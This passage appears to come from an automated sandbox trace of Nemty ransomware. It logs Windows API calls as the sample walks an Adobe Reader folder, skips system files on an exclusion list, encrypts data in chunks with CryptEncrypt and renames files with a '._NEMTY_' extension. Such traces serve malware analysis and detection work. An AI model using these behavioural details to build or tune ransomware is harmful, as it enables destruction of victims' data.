lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.691] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.749] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.749] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.749] CloseHandle (hObject=0xffffffff) returned 0 [0202.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.750] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.750] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2._nemty_kgobjgd_")) returned 0 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.750] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2=".") returned 1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="..") returned 1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="...") returned 1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="windows") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="$RECYCLE.BIN") returned 1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="rsa") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="NTDETECT.COM") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="ntldr") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="MSDOS.SYS") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="IO.SYS") returned -1 [0202.750] lstrcmpiW (lpString1="B5pc-H", lpString2="boot.ini") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="boot.ini") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="AUTOEXEC.BAT") returned 1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="ntuser.dat") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="desktop.ini") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="CONFIG.SYS") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="RECYCLER") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="BOOTSECT.BAK") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="bootmgr") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="programdata") returned -1 [0202.751] lstrcmpiW (lpString1="B5pc-H", lpString2="appdata") returned 1 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-H", lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-H", lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-H", lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0202.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B5pc-H", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B5pc-H", lpUsedDefaultChar=0x0) returned 6 [0202.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0202.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0202.751] Sleep (dwMilliseconds=0x5) [0202.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c8154f0, dwHighDateTime=0x1d561e8)) [0202.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c8154f0, dwHighDateTime=0x1d561e8)) [0202.774] GetLastError () returned 0x5 [0202.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.774] GetLastError () returned 0x5 [0202.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.774] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0202.774] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="jOce93CF+fBx1P5UNKj1eSq+1DwNhN5DdNtxddyLfVaFeKCphlVCtmcK6cDuhmNn\r\nM38choZEavBH3yFA7r/DEOJDjyPHGPmMJeCd/cXOZrr8TQpmb/Q1zY5ssA+6gvRF\r\n0zp7jy3VawLa8eGu6NmPmdEEwsa2mRNz4PDdV8Q68FV5FpAiX5GxUxTam20y5PrV\r\na4CFeoVKtSG11nEjvU5VCu+nFJSH8kbaif15+Kv7QWQ9YGHtS4cZBUF7jLqNITz0\r\ngiV5MnGUd/DKlTr0QjVqhpyzhn1QgdMQjCInS6yrpl6r1r+1YKZp7YtHxlB+YKp5\r\nbR0vy3c3U+D6PVelJIeytw==\r\n", pcchString=0x653e91c) returned 1 [0202.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0202.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0202.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0202.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.775] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 